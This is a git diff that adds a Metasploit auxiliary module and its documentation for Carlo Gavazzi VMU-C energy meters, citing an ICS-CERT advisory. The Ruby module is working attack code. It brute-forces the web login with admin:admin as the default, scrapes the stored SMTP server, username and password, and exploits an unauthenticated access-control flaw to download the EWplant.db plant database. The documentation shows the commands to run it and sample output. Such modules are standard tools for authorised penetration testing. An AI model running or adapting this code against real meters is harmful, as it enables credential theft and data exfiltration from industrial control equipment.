diff --git a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md new file mode 100644 index 0000000000..0dea484e07 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md @@ -0,0 +1,31 @@ +This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, will gather device firmware version and attempt to extract SMTP configuration. A valid, admin privileged user is required to extract SMTP password. In some older versions, SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump EWplant.db database file - this db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/gavazzi_em_login_loot``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/http/gavazzi_em_login_loot +msf auxiliary(gavazzi_em_login_loot) > set rhosts 1.3.3.7 +msf auxiliary(gavazzi_em_login_loot) > set rport 80 +msf auxiliary(gavazzi_em_login_loot) > run + +[+] 1.3.3.7:80 - [4/4] - Running Carlo Gavazzi Energy Meter Web Management portal... +[*] 1.3.3.7:80 - [1/1] - Trying username:"admin" with password:"admin" +[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin" +[*] 1.3.3.7:80 - [1/1] - Firmware version A8_U03... +[+] 1.3.3.7:80 - SMTP server "", SMTP username "", SMTP password "" +[*] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7 - dumping EWplant.db +[*] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7:80 - File retrieved successfully! +[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_442897.bin +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + + ``` diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb new file mode 100644 index 0000000000..05844acf41 --- /dev/null +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -0,0 +1,260 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Carlo Gavazzi Energy Meter - Login Brute Force, Extract Info and Dump Plant Database', + 'Description' => %{ + This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, will gather device firmware version and attempt to extract SMTP configuration. A valid, admin privileged user is required to extract SMTP password. In some older versions, SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump EWplant.db database file - this db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. + }, + 'References' => + [ + ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-012-03'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => false, + 'VERBOSE' => true + })) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']), + OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'admin']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_carlogavazzi? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + ewplantdb + end + + # + # What's the point of running this module if the target actually isn't Carlo Gavazzi EOS Web + # + + def is_app_carlogavazzi? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + if (res && res.code == 200 && (res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC'))) + vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi Energy Meter Web Management portal...") + return true + else + vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.") + return false + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + res = send_request_cgi( + { + 'uri' => '/login.php', + 'method' => 'POST', + 'headers' => { + 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + }, + 'vars_post' => + { + 'username' => user, + 'password' => pass, + 'Entra' => 'Sign+In' # Also - 'Entra' => 'Entra' # Seen to vary in some models + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if (res && ((res.code == 200 && (res.body.include?('Login in progress') || res.body.include?('Login in corso')) && res.body.match(/id="error" value="2"/)) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php'))) + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + # Extract firmware version + begin + res = send_request_cgi( + { + 'uri' => '/setupfirmware.php', + 'method' => 'GET', + 'headers' => { + 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + } + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if (res && res.code == 200 && res.body.include?('Firmware Version')) + fw_ver_dirty = res.body.match(/Firmware Version(.*)(.*)td/) + fw_ver_clean = "#{fw_ver_dirty}".match(/Ver. (.*)[$<]/)[1] + vprint_status("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end + + if (res && res.code == 200 && res.body.include?('Versione Firmware Installata')) + fw_ver_dirty = res.body.match(/Ver. (.*)[$<]/) + fw_ver_clean = "#{fw_ver_dirty}".match(/[^Ver. ](.*)[^<]/) + vprint_status("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end + + # + # Extract SMTP password + # + + begin + res = send_request_cgi( + { + 'uri' => '/setupmail.php', + 'method' => 'GET', + 'headers' => { + 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if (res && res.code == 200 && res.body.include?('SMTP')) + dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1] + smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/) + dirty_smtp_user = res.body.match(/usersmtp" value=(.*)[$=]/)[1] + smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/) + dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1] + smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/) + print_good("#{rhost}:#{rport} - SMTP server #{smtp_server}, SMTP username #{smtp_user}, SMTP password #{smtp_pass}") + else + print_error("#{rhost}:#{rport} - SMTP password not retrieved. Check if the user has 'admin' privileges") + end + return :next_user + else + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end + + # + # Dump EWplant.db database file + # + + def ewplantdb + begin + res = send_request_cgi( + { + 'uri' => '/cfg/EWplant.db', + 'method' => 'GET', + 'headers' => { + 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + } + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if res && res.code == 200 + vprint_status('++++++++++++++++++++++++++++++++++++++') + print_good("#{rhost} - dumping EWplant.db") + vprint_status('++++++++++++++++++++++++++++++++++++++') + + print_good("#{rhost}:#{rport} - File retrieved successfully!") + path = store_loot( + 'EWplant.db', + 'SQLite_db/text', + rhost, + res.body, + rport, + 'Carlo Gavazzi Energy Meter - EWplant.db' + ) + print_status("#{rhost}:#{rport} - File saved in: #{path}") + else + print_error("#{rhost}:#{rport} - Failed to retrieve file. Set a higher HTTPCLIENTTIMEOUT and try again.") + return + end + end +end